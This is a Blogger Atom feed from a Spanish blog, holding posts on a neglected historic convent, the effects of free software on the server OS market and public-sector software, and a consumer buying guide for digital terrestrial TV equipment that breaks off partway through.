<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-10641410</id><updated>2012-01-13T12:09:06.901+01:00</updated><title type='text'>ClawGrip</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-10641410.post-3722748790593812536</id><published>2010-12-07T18:41:00.002+01:00</published><updated>2010-12-07T18:44:47.741+01:00</updated><title type='text'>Patrimonio de todos</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/convento.jpg"&gt;&lt;/p&gt;&lt;p&gt;Lo que pod&amp;eacute;is ver en la foto es un antiguo convento situado en un peque&amp;ntilde;o pueblo castellano-leon&amp;eacute;s. Lo interesante de este convento es lo que se ha hecho con &amp;eacute;l: No es solo que se le halla negado cualquier tipo de mantenimiento o cuidado, es que se derrib&amp;oacute; su puerta trasera para permitir la entrada de tractores (si, los tractores entraban en la iglesia aneja al convento) y usarlo as&amp;iacute; como almac&amp;eacute;n de productos agr&amp;iacute;colas, se encalaron sus paredes de blanco, escondiendo unos magn&amp;iacute;ficos frescos, y se vendi&amp;oacute; su artesonado por dos duros al primero que pas&amp;oacute; por all&amp;iacute; y les hizo una oferta.&lt;/p&gt;&lt;p&gt;Ahora, cuando ya casi no tiene remedio, dos personas (una pareja apasionada por la historia del arte), con muy pocos fondos y much&amp;iacute;simo trabajo, est&amp;aacute;n restaurandolo como pueden.&lt;/p&gt;&lt;p&gt;Pero este no es un caso aislado, y este es normalmente el valor que le damos a nuestro patrimonio, y cualquier ruta por los pueblos de Espa&amp;ntilde;a lo confirma.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-3722748790593812536?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/3722748790593812536/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=3722748790593812536' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/3722748790593812536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/3722748790593812536'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2010/12/patrimonio-de-todos.html' title='Patrimonio de todos'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-3063795580987699778</id><published>2010-05-25T11:19:00.005+02:00</published><updated>2011-05-28T16:47:28.231+02:00</updated><title type='text'>Software Libre ¿Amigo o Enemigo?</title><content type='html'>&lt;p&gt;Han pasado ya unos años desde que Linus Towalds crease el sistema operativo que inició en gran parte la revolución del software de fuentes abiertas y el software libre, y es justo esta distancia temporal la que empieza a darnos una perspectiva fiable de las consecuencias de esta revolución, tanto las ventajas como las desventajas.&lt;/p&gt;

&lt;p&gt;Hace unos quince años, cuando Linux aun no era una alternativa profesional a la altura de sus competidores, el mercado de los sistemas operativos servidores estaba tremendamente fragmentado y en buena medida especializado: Sun Solaris (SunOS), IBM AIX y Hewlett Packard HP-UX (que fagocitó a competidores como Digital UNIX y Compaq Tru64 UNIX, entre otros) se disputaban el mercado de propósito general, Cray UNICOS se centraba en el proceso masivamente paralelo y los modelos matemáticos, Sgi IRIX dominaba el nicho de los gráficos 3D, NCR MP-RAS el tratamiento de enormes cantidades de datos… A esto habría que sumar otros derivados de UNIX como DG-UX, SINIX, ULTRIX, los (ya entonces viejos) sistemas operativos de mainframes y minis como OS/370 (que heredaba del original OS/360 y derivó en OS/390 y Z/OS), VAX/VMS, OS/400, etc., e incluso las versiones tempranas de Windows NT o el extinto OS/2. El usuario tenía múltiples alternativas y siempre una que se adaptase perfectamente a sus necesidades…&lt;/p&gt;

&lt;p&gt;¿Qué ha pasado? ¿Cuál es el panorama actual? Si repasamos todas y cada una de las ofertas encontramos que, o bien han desaparecido y las empresas que las desarrollaban ofertan ahora Linux o están en franco peligro de desaparición e igualmente sus desarrolladores combinan el producto original con Linux.&lt;/p&gt;

&lt;p&gt;HP, tras absorber con adquisiciones productos como ULTRIX, VMS, Tru64 UNIX, etc. mantiene HP-UX ligado a una arquitectura hardware casi muerta (IA 64) sin apenas actualizaciones desde hace años, centrando el núcleo de su negocio en Linux. Otras grandes empresas han abandonado directamente sus sistemas operativos: Sgi (casi desaparecida) dejó de lado IRIX a favor de Linux sobre IA64, Cray está en vías de descontinuar UNICOS y vender únicamente Linux (con arquitecturas avanzadas sobre AMD x64); mientras que otras directamente han abandonado completamente el par hardware/sistema operativo y se centran ahora en los servicios o en software complementario. Por supuesto, no ha sido siempre Linux el destino de la concentración de la oferta, y encontramos ejemplos como NCR en este sentido, que está discontinuando sus sistemas Teradata basados en MP-RAS (su variante de UNIX) hacia Windows Server o Unisys, que hace ya años adoptó Windows Server y se publicita ahora como una compañía “anti UNIX”.&lt;/p&gt;

&lt;p&gt;El resultado a largo plazo es que (siempre centrados en el mercado de los sistemas operativos servidores) ahora la oferta se reduce a menos de cinco alternativas: Linux, Windows Server (Windows NT), Sun Solaris y poco más.  Incluso titanes como HP-UX llevan años sin recibir una revisión mayor por falta de inversión en I+D, y probablemente Sun Solaris (más aún con la incertidumbre de su adquisición por Oracle) corra la misma suerte.&lt;/p&gt;

&lt;p&gt;Pero la mayoría de las empresas que en su día ofertaban sistemas operativos servidores siguen en este mercado, solo que ahora centradas en el sistema operativo Linux ¿Y a dónde van ahora las partidas de I+D que se destinaban a los departamentos de desarrollo de sistemas operativos? ¿A colaborar con la comunidad Linux? Es evidente que la respuesta es no. Estas partidas se centran (además de a capear la crisis) en ofrecer mejores servicios profesionales (integración consultoría, etc.) en torno a Linux, y en el mejor de los casos se liberan (ceden para su integración en Linux)  contados (y con cuentagotas) módulos software de los sistemas operativos que han condenado a desaparecer.&lt;/p&gt;

&lt;p&gt;La conclusión sobre los efectos del software libre en el mercado de los sistemas operativos servidores no parece muy positiva según este rápido y ligero análisis… ¿Nos espera una evolución similar en sectores donde el software libre aun no lleva tanto tiempo? Bases de datos, servidores de aplicaciones…&lt;/p&gt;

&lt;p&gt;Pero si bien el software libre y de fuentes abiertas está siendo una excelente excusa para la desinversión en I+D por parte de las grandes empresas, está configurándose como uno de los pilares en los sistemas de titularidad pública (los usados por el sector público para ofertar servicios a ciudadanos, empresas y otras administraciones).&lt;/p&gt;

&lt;p&gt;¿Cuál es el panorama en este sector?  La situación actual es que el software libre y el software de fuentes abiertas se ve mayoritariamente como una forma de reducción del gasto en licencias e inventarios de patrimonio. ¿Es este el camino a seguir? Evidentemente, de nuevo la respuesta es no. El gasto que acostumbraba a destinarse a licencias de productos software se destina ahora a integraciones y adaptaciones sobre software libre, pero el concepto de la reutilización se queda en esto, únicamente en reutilizar productos de software libre generados por comunidades externas.&lt;/p&gt;

&lt;p&gt;Sin embargo, en el sector público, ni las soluciones de software libre / software de fuentes abiertas ni el software con licencias privativas (software comercial convencional) cubren directamente las necesidades de las diferentes administraciones, y los desarrollos a medida y trabajos de adaptación e integración son una necesidad común inevitable. Y son justo estos trabajos, que a menudo se apoyan en bibliotecas, productos o frameworks de software libre los que constituyen el grueso de la propiedad intelectual de las administraciones públicas y organismos que los contratan, y por extensión, propiedad de los ciudadanos (y empresas), que son los que finalmente pagan todo con sus impuestos y aportaciones.&lt;/p&gt;

&lt;p&gt;No obstante, y pese a constituir por cantidad de dinero invertida, una parte de gran importancia dentro del patrimonio del estado, es de todas la sin duda peor tratada: No está inventariado, se contratan innumerable desarrollos idénticos por distintos organismos que ni siquiera se preocupan de localizar piezas reutilizables ya desarrolladas, no se asegura la propiedad íntegra de los trabajos pagados mediante los contratos adecuados y muchos trabajos se pierden de forma definitiva cuando termina su periodo de utilidad por el órgano que lo servía o utilizaba, aunque pudiese tener una continuidad en otros ámbitos o administraciones.&lt;/p&gt;

&lt;p&gt;Aunque legalmente el intercambio de información entre administraciones está bien respaldado (Directiva 2003/98/CE del Parlamento Europeo y del Consejo relativa a la Reutilización de la Información del Sector Público, LEY 37/2007, de 16 de noviembre, sobre reutilización de la información del sector público, Libro Verde de la Comisión Europea sobre la Información del Sector Público, etc.), es probablemente la más poco común de las prácticas, y es que las entrañas burocráticas, legales y administrativas necesarias para el intercambio real de la propiedad intelectual echan para atrás a la mayoría. Pero esta “comodidad” o “ahorro de esfuerzo” les cuesta ingentes cantidades de dinero a los contribuyentes y priva a los ciudadanos del acceso a un software que es de ellos y sobre el que no hay ningún motivo para retenerlo.&lt;/p&gt;

&lt;p&gt;La solución a estos inconvenientes es sin duda mucho más sencilla de lo que puede parecer en un principio: El software de fuentes abiertas / software libre. La publicación del software contratado por el sector público en forjas comunitarias, con el código fuente y la documentación asociada, disponibles a todos los posibles interesados supone una solución barata y rápida para implementar este intercambio de información y permitir al ciudadano acceder a lo que es suyo. Es más, los inconvenientes de este modelo son prácticamente inexistentes, y las potenciales ventajas son innumerables.&lt;/p&gt;

&lt;p&gt;Pero la transición del sector público desde consumidor a productor de software libre o software de fuentes abiertas debe hacerse siguiendo una serie de procedimientos especialmente ordenados:&lt;/p&gt;

&lt;p&gt;• La infraestructura necesaria para la publicación de la propiedad intelectual (hardware/software/servicios) debe ser proporcionada sin coste desde un organismo central (Ministerio de la Presidencia, Ministerio de Industria, etc.).&lt;/p&gt;

&lt;p&gt;• Esta publicación debe ser obligatoria excepto en casos especialmente detallados (ley de contratos), con mecanismos para que la excepción no se convierta en la norma.&lt;/p&gt;

&lt;p&gt;• Debe proporcionarse la asesoría, consultoría y asistencia necesarias para ayudar a las administraciones a gestionar la adquisición de propiedad intelectual cuyo destino paralelo sea la publicación con una licencia de software libre (EUPL, GPL, etc.). Esta ayuda debe provenir de un organismo especializado (¿Cenatic?).&lt;/p&gt;

&lt;p&gt;• Debe formarse al sector público en la reutilización de información ya disponible e instarse a las empresas que prestan servicios al sector público igualmente a esta reutilización.&lt;/p&gt;

&lt;p&gt;Por supuesto, un trabajo más profundo sería analizar si los verdaderos obstáculos para el intercambio de información entre organismos no es &amp;uacute;nicamente la mera burocracia, sino la conjunci&amp;oacute;n de costumbres, normativas, actitudes personales y medicridades pol&amp;iacute;ticas...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-3063795580987699778?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/3063795580987699778/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=3063795580987699778' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/3063795580987699778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/3063795580987699778'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2010/05/software-libre-amigo-o-enemigo.html' title='Software Libre ¿Amigo o Enemigo?'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-8621740120105624227</id><published>2008-06-09T14:58:00.002+02:00</published><updated>2008-06-09T15:06:38.811+02:00</updated><title type='text'>Guía de compras para la TDT</title><content type='html'>&lt;p&gt;Con la llegada de las “altas prestaciones” al mundillo de los televisores, se ha conseguido acortar tremendamente el periodo de renovaci&amp;oacute;n de los aparatos dom&amp;eacute;sticos, y cuando antes un televisor duraba a&amp;ntilde;os y a&amp;ntilde;os en el sal&amp;oacute;n de casa, a las modernas pantallas planas de alta definici&amp;oacute;n se les intentar dar un periodo de renovaci&amp;oacute;n mucho m&amp;aacute;s breve, por una parte mediante la introducci&amp;oacute;n constante de mejoras tecnol&amp;oacute;gicas “imprescindibles” y por otra con componentes de baja calidad que ya de por si son incapaces de resistir m&amp;aacute;s de cinco a&amp;ntilde;os sin estropearse.&lt;/p&gt;&lt;p&gt;Esta vor&amp;aacute;gine de consumo es en cierto modo aceptable siempre que se respete a los que no desean entrar en el juego y se conformen con ver la tele en su viejo Telefunken o Philips K40 de tubo, pero resulta que ahora las reglas del juego han cambiado… La introducci&amp;oacute;n de la TDT en Espa&amp;ntilde;a trae la obligaci&amp;oacute;n para los televidentes de renovar sus equipos o adquirir nuevos, pero la elecci&amp;oacute;n no es en absoluto sencilla y no es precisamente f&amp;aacute;cil encontrar a alguien que nos informe con verdadero conocimiento de la situaci&amp;oacute;n. Donde antes un televisor apenas ten&amp;iacute;a caracter&amp;iacute;sticas adicionales (teletexto, disponibilidad de euroconector, soporte de est&amp;eacute;reo/dual y muy poco m&amp;aacute;s), ahora nos encontramos con una sopa de letras tecnol&amp;oacute;gicas y una cadena de mejoras tecnol&amp;oacute;gicas que parecen haberse escalonado en el tiempo estrat&amp;eacute;gicamente para hacernos renovar equipos en casa todos los a&amp;ntilde;os… &amp;iquest;Revisamos algunos de ellos?&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/dolby_1.png" width="220"&gt;&amp;nbsp;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/dolby_2.png"&gt;&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Sonido Envolvente&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;En el fondo, ya ten&amp;iacute;amos sonido envolvente multicanal en la televisi&amp;oacute;n anal&amp;oacute;gica gracias a la tecnolog&amp;iacute;a Dolby Surround / Dolby Pro Logic combinada con una emisi&amp;oacute;n en est&amp;eacute;reo, solo que no recuerdo yo que nadie nunca jam&amp;aacute;s lo usara, por m&amp;aacute;s que al empezar Los Simpsons vi&amp;eacute;semos el logotipo de la doble D de Dolby… Pero el caso es que la TDT introduce una mejora sustancial sobre la tecnolog&amp;iacute;a anterior, ya que como se emite en digital, los canales pueden enviar el sonido en Dolby Digital o en DTS (&lt;i&gt;Digital Theater System&lt;/i&gt;). Y aqu&amp;iacute; tenemos la primera pregunta: &amp;iquest;Qu&amp;eacute; necesito para disfrutar de verdad del Dolby Digital en TDT? Vamos por partes:&lt;/p&gt;&lt;p&gt;El elemento principal que vamos a necesitar (dejando aparte el televisor, claro) es un amplificador compatible Dolby Digital. Una emisi&amp;oacute;n en sonido envolvente multicanal (como su nombre indica) necesita varios canales de sonido, y uno o m&amp;aacute;s altavoces para cada canal, y es el amplificador compatible Dolby el que se encarga de procesar la se&amp;ntilde;al y enviar a cada altavoz lo suyo.&lt;p&gt;&lt;p&gt;La primera diferencia respecto a tecnolog&amp;iacute;as anteriores es que la tecnolog&amp;iacute;a Dolby Digital necesita una conexi&amp;oacute;n digital entre el televisor o el descodificador TDT y el amplificador compatible Dolby, as&amp;iacute; que aqu&amp;iacute; tenemos nuestro primer requisito: &lt;b&gt;El descodificador TDT o el televisor con TDT integrado tienen que tener una salida digital de audio&lt;/b&gt;. Para complicar un poco las cosas, existen dos tipos de conectores distintos, el RCA, que utiliza cables coaxiales y el TosLink (Toshiba Link), que usa cableado &amp;oacute;ptico (aunque ambos siguen la misma normativa de audio digital: SPDIF, Sony/Philips Digital InterFace). Como los amplificadores suelen tener ambos, tampoco nos preocupa demasiado cual de los dos tenga, pero tendremos que tenerlo en cuenta a la hora de comprar los cables de conexi&amp;oacute;n. Si tanto nuestro amplificador como nuestro televisor o descodificador TDT soportan ambos formatos, es recomendable usar el conector TosLink con cable de fibra &amp;oacute;ptica, ya que es inmune a interferencias radioel&amp;eacute;ctricas (aunque hay que tener cuidado de que no se doble demasiado, ya que es relativamente quebradizo).&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/digital_audio.jpg"&gt;&lt;/p&gt;&lt;p&gt;Si nuestro televisor o descodificador carece de alguno de estos conectores, aun tenemos una oportunidad de disfrutar de sonido envolvente gracias a la tecnolog&amp;iacute;a Dolby Surround, o a su versi&amp;oacute;n mejorada, Dolby Pro Logic / Dolby Pro Logic II. Esta se&amp;ntilde;al no necesita un transporte digital, ya que se intercala entre la se&amp;ntilde;al anal&amp;oacute;gica de un sonido est&amp;eacute;reo normal, y como todos los receptores TDT son (o al menos deber&amp;iacute;an ser) est&amp;eacute;reo, pues por ah&amp;iacute; no encontramos nada de lo que preocuparnos. &amp;iquest;Y debe mi amplificador soportar Dolby Pro Logic? &amp;iquest;Tiene tambi&amp;eacute;n el canal que emitir en Dolby Pro Logic adem&amp;aacute;s de en Dolby Digital? Tampoco hay que preocuparnos por esto, Dolby Digital es completamente compatible con Dolby Surround / Dolby Pro Logic, as&amp;iacute; que cualquier emisi&amp;oacute;n Dolby Digital que recibamos en est&amp;eacute;reo tendr&amp;aacute; la se&amp;ntilde;al Pro Logic incorporada, y cualquier amplificador compatible Dolby Digital va a ser capaz de procesarla.&lt;/p&gt;&lt;p&gt;Un par de cosas importantes a tener en cuenta si decidimos prescindir del enlace digital y usar a cambio Dolby Surround / Dolby Pro Logic:&lt;ul&gt;&lt;li&gt;Mientras que Dolby Digital ofrece normalmente 5.1 canales (cinco direccionales m&amp;aacute;s uno adicional para los sonidos graves), Dolby Surround / Dolby Pro Logic acostumbra a ofrecer &amp;uacute;nicamente 4 (marcados como 4.0). En cualquier caso, siempre es mejor la calidad del Dolby Digital.&lt;/li&gt;&lt;li&gt;Si ya disponemos de un amplificador antiguo que soporta Dolby Surround / Dolby Pro Logic, pero no Dolby Digital, no es mala opci&amp;oacute;n ahorrarnos la compra de un amplificador nuevo con conexiones digitales y aprovechar el equipo que ya tenemos.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Alta Definici&amp;oacute;n&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;Ahora que la venta de televisores con pantalla de Alta Definici&amp;oacute;n est&amp;aacute; en auge, se plantea iniciar las emisiones de TDT en alta definici&amp;oacute;n (se lleva un tiempo anunciando que las olimpiadas se emitir&amp;aacute;n en TDT de alta definici&amp;oacute;n), lo que nos trae la segunda cuesti&amp;oacute;n: &amp;iquest;Qu&amp;eacute; necesito para ver la TDT en alta definici&amp;oacute;n? Aqu&amp;iacute; los requisitos con mucho m&amp;aacute;s f&amp;aacute;ciles de comprobar, los enumeramos por separado:&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/hdtv-logo-lg.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Que nuestro receptor de TDT soporte el formato MPEG4/H.264&lt;/b&gt;, ya sea integrado en el televisor o externo en un descodificador.&lt;br&gt;Aunque las emisiones en alta definici&amp;oacute;n est&amp;aacute;n al caer, no es nada sencillo encontrar equipos que cumplan con este requisito. A d&amp;iacute;a de hoy es casi imposible encontrar un descodificador TDT externo que lo cumpla, y son muy pocos modelos de televisores con TDT los que han incorporado esta caracter&amp;iacute;stica.&lt;br&gt;Si se trata de un televisor con sintonizado TDT compatible con alta definici&amp;oacute;n integrado, este deber&amp;aacute; venir indentificado con el logotipo "HD TV".&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/hdready.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;Que nuestra pantalla de televisi&amp;oacute;n sea compatible al menos con la resoluci&amp;oacute;n 1080i (1920x1080 en modo entrelazado). Esto es muy f&amp;aacute;cil de comprobar, solo hay que &lt;b&gt;asegurarnos de que el televisor tenga el logotipo “HD Ready” o el logotipo "HD TV"&lt;/b&gt; (los logotipos fueron introducidos por la Asociaci&amp;oacute;n Europea de Tecnolog&amp;iacute;as de Electr&amp;oacute;nica de Consumo, Comunicaciones e Informaci&amp;oacute;n, EICTA). El logotipo "HD Ready" est&amp;aacute; presente en pr&amp;aacute;cticamente cualquier televisor moderno de pantalla plana.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/componentes.jpg"&gt;&amp;nbsp;&lt;img height="157" src="http://img.photobucket.com/albums/v664/ClawGrip/hdmi.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;Que, si usamos un descodificador externo, &lt;b&gt;la conexi&amp;oacute;n entre este y el televisor se haga mediante conectores compatibles con alta definici&amp;oacute;n&lt;/b&gt;. Estos conectores solo pueden ser de dos tipos, los llamados conectores de video por componentes (YPbPr) y el nuevo HDMI (&lt;i&gt;High Definition Multimedia Interface&lt;/i&gt;). El primero es en cierta manera desaconsejable (tecnolog&amp;iacute;a anal&amp;oacute;gica, usa tres cables, no hay detecci&amp;oacute;n autom&amp;aacute;tica de formatos panor&amp;aacute;micos), por lo que es siempre mejor usar un cable HDMI.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p&gt;Si nos decidimos por un conexionado HDMI, merece la pena tener en cuenta unos cuantos aspectos:&lt;/p&gt;&lt;p&gt;&lt;ol&gt;&lt;li&gt;HDMI transporta en un &amp;uacute;nico cable tanto el video como el audio, pero existe una variante llamada DVI (&lt;i&gt;Digital Video Interface&lt;/i&gt;) que solo transporta el video. Si nuestra tele tiene conector DVI en vez de HDMI, necesitaremos un adaptador (DVI y HDMI no usan conectores f&amp;iacute;sicamente compatibles) y un cableado adicional para el audio.&lt;/li&gt;&lt;li&gt;HDMI en un est&amp;aacute;ndar en plena evoluci&amp;oacute;n, con lo que no est&amp;aacute; dem&amp;aacute;s comprobar que la versi&amp;oacute;n de HDMI que soporta nuestro televisor es la misma que la que soporta el descodificador (la versi&amp;oacute;n m&amp;aacute;s moderna a d&amp;iacute;a de hoy es la 1.3b).&lt;/li&gt;&lt;li&gt;Es com&amp;uacute;n encontrar cables HDMI a precios desorbitados (incluso por encima de los 80 €). Como el transporte de la se&amp;ntilde;al se hace digitalmente, no hay mejora de la calidad de imagen o sonido solo por introducir un cable de mejor conductividad o calidad. En la mayor&amp;iacute;a de las ocasiones, da exactamente el mismo rendimiento un cable de 15 € que uno de 50 €. S&amp;oacute;lo en casos donde tengamos muchas interferencias el&amp;eacute;ctricas o magn&amp;eacute;ticas (cercan&amp;iacute;a con aparatos o motores el&amp;eacute;ctricos de gran potencia, etc.) se hace necesario adquirir un cable de mayor calidad.&lt;/li&gt;&lt;/ol&gt;&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Interactividad&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;La pr&amp;aacute;ctica totalidad de canales (o al menos los “principales”) est&amp;aacute;n emitiendo contenido interactivo, y ofrecen ciertos servicios adicionales a trav&amp;eacute;s de la TDT, como servicios de administraci&amp;oacute;n electr&amp;oacute;nica, juegos, concursos, informaci&amp;oacute;n avanzada, etc. Aunque por ahora la calidad y utilidad de estos servicios interactivos es bastante triste, nunca est&amp;aacute; de m&amp;aacute;s asegurarnos de que nuestro televisor o descodificador TDT es capaz de acceder a ellos, ya que se prev&amp;eacute; que en un futuro muy cercano empiecen a aparecer servicios realmente atractivos.&lt;/p&gt;&lt;p&gt;La interactividad en TDT se basa en la normativa MHP (&lt;i&gt;Multimedia Home Platform&lt;/i&gt;), y los productos compatibles deben identificarse mediante su correspondiente logotipo.&lt;br&gt;&amp;iquest;Basta entonces con comprobar que el televisor o el descodificador van etiquetados con el logotipo de MHP? No, en absoluto, el tema es bastante m&amp;aacute;s complicado, enumeramos los puntos b&amp;aacute;sicos a verificar para garantizar la completa compatibilidad con los servicios interactivos:&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/mhp.gif"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Etiquetado con el logotipo MHP&lt;/b&gt;. Adicionalmente, es bueno comprobar en la ficha t&amp;eacute;cnica del aparato la versi&amp;oacute;n de MHP que soporta, mejor si es la 1.1.3 o 1.1.2, y como m&amp;iacute;nimo debe ser compatible con la versi&amp;oacute;n 1.0.2 o 1.0.3.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/eth_socket.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Conexi&amp;oacute;n para canal de retorno&lt;/b&gt; acorde con nuestra conexi&amp;oacute;n a Internet. Muchas veces los servicios acceden a Internet como medio adicional de comunicaci&amp;oacute;n; si disponemos en casa de conexi&amp;oacute;n de banda ancha (ADSL, cable, etc.), debemos comprobar que cuente con conector &lt;b&gt;Ethernet&lt;/b&gt;, sino, una conexi&amp;oacute;n de &lt;b&gt;m&amp;oacute;dem&lt;/b&gt; (conector telef&amp;oacute;nico convencional) nos basta.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/dnie.gif"&gt;&amp;nbsp;&lt;img height="167" src="http://img.photobucket.com/albums/v664/ClawGrip/scslot.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Lector de tarjeta inteligente&lt;/b&gt;. Ciertos servicios nos van a pedir que nos identifiquemos usando tarjetas inteligentes (como el nuevo DNIe, el DNI electr&amp;oacute;nico), as&amp;iacute; que es imprescindible contar con la ranura para leer estas tarjetas. Si el descodificador esta marcado como “&lt;b&gt;Compatible DNI Electr&amp;oacute;nico&lt;/b&gt;”, mejor que mejor.&lt;br&gt;El tema del lector de tarjetas es m&amp;aacute;s complicado de lo que parece, ya que podemos tener este lector pero que su uso sea exclusivo para otras funcionalidades (como el acceso condicional) y los servicios interactivos no puedan usarlo, o, incluso, que si est&amp;eacute; a disposici&amp;oacute;n de los servicios interactivos pero que sea incompatible con ciertas tarjetas inteligentes. El estar marcado como “Compatible DNIe” (suelen llevar el logotipo de DNIe, o con una pegatina en el frontal o al menos impreso en la caja o mostrado en la publicidad) es garant&amp;iacute;a de m&amp;aacute;xima compatibilidad.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p&gt;&lt;h3&gt;TDT de Pago&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;Otra novedad a punto de aparecer: Canales de TDT en los que debemos pagar por cada programa que queramos ver, ya sea por el tiempo que estemos vi&amp;eacute;ndolos (a veces por programas completos, a veces por minutos) o mediante un modelo de suscripci&amp;oacute;n mensual. &amp;iquest;Y como va a funcionar la TDT de pago? Pues de forma mucho m&amp;aacute;s sencilla que como funcionan las plataformas actuales de televisi&amp;oacute;n de pago; compraremos tarjetas inteligentes prepago para TDT que podremos recargas cuando agotemos su saldo. Estas tarjetas valdr&amp;aacute;n para cualquier canal o programa que emita por TDT, da igual la empresa que emita (Tele5, Antena 3, etc.). &amp;iquest;Y donde insertamos estas tarjetas? Todas los televisores con sintonizador TDT integrado cuentan con una ranura de expansi&amp;oacute;n llamada DVB-CI (&lt;i&gt;Digital Video Broadcasting - Common Interface&lt;/i&gt;, igual en formato que las ranuras PCMCIA de los ordenadores port&amp;aacute;tiles), al cual se le puede acoplar un m&amp;oacute;dulo CAM (&lt;i&gt;Common Access Module&lt;/i&gt;, m&amp;oacute;dulo de acceso condicional), al cual a su vez se le puede insertar la tarjeta inteligente prepago de TDT. Paso a paso, los puntos a tener en cuenta son:&lt;/p&gt;&lt;p align="center"&gt;&lt;img width="380" src="http://img.photobucket.com/albums/v664/ClawGrip/pcmcia_slot.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Disponibilidad de una ranura DVB-CI para expansi&amp;oacute;n&lt;/b&gt;. Bueno, hemos dicho que todos los televisores con TDT la tienen, pero nadie ha hablado de los descodificadores… &amp;iquest;La tienen tambi&amp;eacute;n? Pues como la Uni&amp;oacute;n Europea no obliga a los fabricantes a incorporarla, la mayor&amp;iacute;a se “han olvidado”. Ya tenemos otro aspecto a verificar si compramos un descodificador 